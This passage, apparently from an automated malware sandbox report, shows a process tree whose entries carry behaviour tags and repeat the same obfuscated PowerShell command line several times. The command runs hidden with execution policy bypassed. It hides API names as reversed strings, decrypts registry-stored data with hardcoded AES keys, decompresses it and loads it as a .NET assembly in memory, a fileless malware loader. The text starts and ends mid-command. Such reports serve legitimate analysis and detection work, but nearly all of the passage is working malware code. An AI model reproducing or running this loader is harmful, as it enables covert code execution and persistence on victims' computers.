'')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1852
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3568
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5020
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join 